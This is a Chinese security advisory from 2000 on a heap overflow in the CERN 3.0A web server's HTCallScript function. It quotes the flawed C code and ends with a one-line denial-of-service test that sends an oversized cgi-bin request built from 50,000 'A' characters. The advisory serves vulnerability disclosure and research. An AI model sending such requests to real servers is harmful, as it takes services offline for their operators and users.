首页 -> 安全研究

安全研究

安全漏洞
CERN 3.0A heap溢出漏洞导致拒绝服务攻击

发布日期:2000-08-24
更新日期:2000-08-24

受影响系统:

CERN webserver version 3.0A
   - Linux系统
   - 常用Unix系统
   
描述:

在CERN/3.0A Webserver中存在一个heap溢出问题,可能耗费大量内存并导致拒绝服务攻击。
问题出在:Daemon/Implememtation/HTScript.c中的
PUBLIC int HTCallScript ARGS1(HTRequest *, req)函数:

....
    else {      /* Try replacing unknown suffix with .pp */
        char *test = (char*)malloc(strlen(HTReqScript) + 4);
        char *s;
        CTRACE(stderr, "Trying...... to find executable by appending pp\n");
        strcpy(test, HTReqScript);
        s = strrchr(test, '.');
        strcat(test, ".pp");    /* Try appending .pp */
        CTRACE(stderr, "Trying...... \"%s\"\n", test);
        if (-1==access(test, X_OK)) {  /* Then try replacing suffix with pp */
            if (s) {
                *s = 0;
                strcat(s, ".pp");
                CTRACE(stderr, "Bad luck.... now trying \"%s\"\n", test);
                if (-1==access(test, X_OK)) {   /* INVALID */
                    if (!(msg = (char*)malloc(3*strlen(test) + 100)))
                        outofmem(__FILE__, "HTCallScript");

                    sprintf(msg,
        "Bad script request -- none of '%s' and '%s.pp' is executable",
                            HTReqScript, test );
                    free(test);

如果HTReqScript中已经包含后缀,程序会用".pp"替代test中的后缀,并且使用一个动态分配
的msg缓冲区来保存错误信息,但是,如果HTReqScript的后缀长度很大的话,msg就不能容纳
这么多的内容,因此会发生溢出,并导致占用大量内存,可能造成拒绝服务攻击。


<*来源: Scrippie (ronald@grafix.nl) *>




测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


重复提交这样的链接,可能使cern 3.0A webserver停止响应:

# lynx http://www.victim.com/cgi-bin/A.`perl -e 'print"A" x 50000'`


建议:

暂无

浏览次数:6775
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障